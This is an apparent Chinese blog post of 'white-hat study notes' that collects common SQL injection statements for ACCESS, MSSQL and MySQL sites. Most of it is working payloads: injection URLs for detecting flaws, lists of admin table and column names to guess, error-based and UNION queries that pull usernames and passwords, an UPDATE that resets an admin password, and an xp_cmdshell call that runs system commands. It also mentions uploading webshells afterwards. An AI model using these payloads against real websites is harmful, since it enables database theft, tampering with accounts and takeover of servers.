【白帽子学习笔记14】SQL注入常用语句
【白帽子学习笔记14】SQL注入常用语句
目前网站中使用的最多的数据库要算是 ACCESS、SQL Server(MSSQL)、MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 小节,讲述在不同的数据库下不同的注入方法。
文章目录
- 【白帽子学习笔记14】SQL注入常用语句
- 1、ACCESS
- 验证是否有漏洞
- 判断数据库类型
- 猜数据库表名
- 2、SQL Server(MSSQL)
- 确认当前数据库的用户名
- 获取用户的数据信息
- url中带的是字符怎么办?
- 修改数据库中的数据
- 获取数据库名和数据库版本和权限
- MSSQL的扩展功能
- 3、MYSQL
- 数据库版本
1、ACCESS
验证是否有漏洞
http://www.xxx.com/xx.asp?id=x and 1=1
http://www.xxx.com/xx.asp?id=x and 1=2
判断数据库类型
http://www.xxx.com/xx.asp?id=x and user>0
ACESS数据库返回的数据库错误中一般会含有 “Microsoft JET Database”
猜数据库表名
猜解表名的语句为在注入点后加 上and exists (select * from 表名)
或者and exists (select count from 表名)
猜测数据库中有叫做Keter的表,那就输入
http://www.xxx.com/xx.asp?id=x and exists (select * from Keter)
,如果有就返回正常,没有就有返回报错
一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、 article_admin、administrator、manager、member、memberlist、user、users、userinfo、 user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、 movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin
等等。猜完表名就应该猜列名了
http://www.xxx.com/xx.asp?id=x and exists (select admin_name from admin)
把select中的*换成具体的名字即可
一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、 admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、 admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、 administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、 userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、 passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook
等等。猜列的长度:
http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4
猜第N行的长度:
http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x
ASP+ACCESS 的注入攻击,我们得到用户名和密码也就完成了。 如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到
2、SQL Server(MSSQL)
确认当前数据库的用户名
http://www.xxx.com/xxx.asp?id=xx and user>0
虽然 and user>0 很简单,但却包含了 SQLServer 特有注入方法的精髓。让我们来看看它的含义: 首先,前面的语句是正常的,重点在 and user>0,因为 user 是 SQLServer 的一个内置变量, 它的值是当前连接的用户名,类型为 nvarchar。而这里我们拿一个 nvarchar 的值跟 int 的数的 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错, SQLServer 的出错提示是:将 nvarchar 值“abc” 转换数据类型为 int 的列时发生语法错 误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。还有 在我们的 SQLServer 数据库里的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa 权限,几乎肯定可以拿到主机的 Administrator 了。而我们上面的方法可以很方便的测试 出是否是用 sa 登录,如果是 sa 登录,那么返回的错误提示是将”dbo”转换成 int 的列发生错误,而不是”sa”
获取用户的数据信息
- 暴当前表中的列:
http://www.xxx.com/xxx.asp?id=xx having 1=1--
- 暴任意表名和 列名的方法:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
。其中N就是代表数据库中的第N个表 - 暴任意表中的任意列:
and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1
- 暴出数据库中的数据:
and (select top 1 列名 from 表名 where id=N)>1
url中带的是字符怎么办?
http://www.xxx.com/xxx.asp?action=value' and 1=1
修改数据库中的数据
;update 表名 set 列名='内容' where 条件
比如http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where user name= 'Keter'
获取数据库名和数据库版本和权限
- 获取数据库版本:
and (sel ect @@versi on)>0
- 获取数据库名:
and db_name()>0
- 获取数据库权限:
http://www.xxx.com/xxx.asp?id=xx and db_name()>0
- 获取数据是否支持多句查询:
http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0
MSSQL的扩展功能
- 查看服务器C盘的目录:
;exec master..xp_cmd shell 'dir c:\'
(XP系统)
3、MYSQL
PHP 与 MySQL 是黄金组合,下面就以他们来作为 MySQL 注入的平台吧
数据库版本
在 MySQL 版本 4(包括版本4)及以上版本新增了一个联合查询查询(UNION)的功能, 比如 SQL 语句 1 UNION SQL 语句 2,提交之后我们的 SQL 语句 1 和 SQL 语句 2 都会被执行, 通过联合查询这个字面意思也是可以理解的。正是这个功能使得 MySQL 发生 SQL 注入漏洞的 危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本 4 以下,确不支持这个功能,而且由于 PHP 中的 mysql_query 函数限制了只能查询一个 SQL 语句,即使你使用分号把多个 SQL 语句组合到一起嵌入 mysql_query 函数,实际上也只有第 一个 SQL 语句被提交给 MySQL,所以那个时候 MySQL 的注入并不是特别的严重,而如今确变了。
and ord(mid(version(),1,1))>51/*
返回正常版本大于4.0 ,返回错误版本小于4.0。/*!...*/
,如果返回页面是错误的话那几乎可以确定网站后台数据库为 MySQL 了,然后我们还可以进一步确认具体的版本,/*!30000%20s*/
(判断版本是否小于3.0)其他的类似确认字段数目:
- 方法1:UNION ,要求前面的 SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。我们可以提交
union select 1,1,1,1
及其类似的语句。通过不断的增 加 1 的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。 - 方法2:
order by
利用 order by 后加数字,MySQL 会解释成按照第几列排序,如果查询没有我们提交的数字的那么多页就会返回错误。
- 方法1:UNION ,要求前面的 SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。我们可以提交
获取当前数据库的表名:
union select 字段数 from 表名
,中间的字段数大家要注意了,它是这样表示的:假如 有三个字段,那么就应该这样:1,2,3。当然了这还是猜解表名。查询用户名和密码:
union select 1,password from admin
union select 1,username from admin
当然你可以加上where id = *
判断是否是root权限:
and ord(mid(user(),1,1))=114/*
,正常的就是root权限
【白帽子学习笔记14】SQL注入常用语句相关推荐
- 【白帽子学习笔记11】DVWA Brute Force【暴力破解】
[白帽子学习笔记11]DVWA Brute Force Brute Force 就是暴力破解的意思,尝试常用的用户名和必然然后使用工具一个一个的去尝试 LOW级别 通过解析源码我们可以发现代码没有任何 ...
- python白帽子学习笔记(整合)
python白帽子学习笔记(整合) 学习笔记目录 python白帽子学习笔记(整合) 前言 一.基础篇 1.正则表达式 2.列表 3.元组带上了枷锁的列表 4.奇葩的内置方法 5.格式化字符 6.序列 ...
- (白帽子学习笔记)前渗透——SQL注入
读者需知 1.本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任 2.本文参考了一些文章,如有侵权请联系本人删除 注入详解 目录 注入详解 SQL注入 SQL注 ...
- 白帽子发现美军网站SQL注入漏洞,可获取敏感数据
去年有报道称,美军收购软件漏洞为网战准备.而美军自己的网站和服务器究竟又有多安全?一名独立安全研究者已经发现了美军网站的几个较为严重的安全漏洞. 安全专家称,这些漏洞说明了美国防部网络安全基础的脆弱性 ...
- 网易web白帽子学习笔记
部分转载他人 一.web基础知识 1.1.1web介绍 world wide web 万维网 web1.0 个人网站.门户站点 静态页面 web2.0 微博.博客交互式页面 随之而来有一些安全问题: ...
- ASP.NET 4学习笔记(1) SQL注入攻击及解决方案.
一, 定义:所谓SQL注入攻击是应用程序开发人员未预期地把SQL代码传入到应用程序的过程,只有那些直接使用用户提供的值构造SQL语句的应用程序才会受影响. 例如原SQL代码为: select Orde ...
- (白帽子学习笔记)前渗透——文件上传upload labs
读者需知 1.本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任 2.本文参考了一些文章,如有侵权请联系本人删除 第一关--前端验证 1.将浏览器中的JS代码禁 ...
- Oracle SQL注入常用语句
解析IP select utl_inaddr.get_host_address('google.com') from dual; 获取本机IP地址 select utl_inaddr.get_host ...
- 【学习笔记】一些postgreSQL常用sql语句
[学习笔记]一些postgreSQL常用sql语句 1.序列自增id 2.将从一个表中查出来的数据插入到另一个表中 3.sql更新替换字段中某个字 4.统计一个字段多个值的次数 5.统计某个字段重复项 ...
最新文章
- 全球支付平台paypal社招一面,二面合并面经
- Integer overflow, simple but not easy
- 正则表达式:(?=a)是什么意思?
- DAG的深度优先搜索标记
- P7294-[USACO21JAN]Minimum Cost Paths P【单调栈】
- 《MySQL—— 业务高峰期的性能问题的紧急处理的手段 》
- python获取当前时间和前一天时间
- java 线程一起画图_java 多线程画图 不显示过程
- C++提高部分_C++类模板与函数模板的区别---C++语言工作笔记088
- python实现编辑距离以及回溯路径
- FreeSWITCH(二) - 安装部署、试用
- AtCoder从小白到大神的进阶攻略
- 行为识别:行人跌倒检测(含源码)
- html怎么让滚动条不占位置,css怎么设置滚动条不占宽度?
- 梅科尔工作室-杨灿-鸿蒙笔记1
- Linux 链路聚合之bond和team
- 开源正在蚕食整个世界?
- 欧盟森林砍伐法规和合规性:使用 Dimitra 技术解决森林砍伐问题
- 螃蟹先生2 android,螃蟹先生2安卓版
- 做企业网站设计制作用什么软件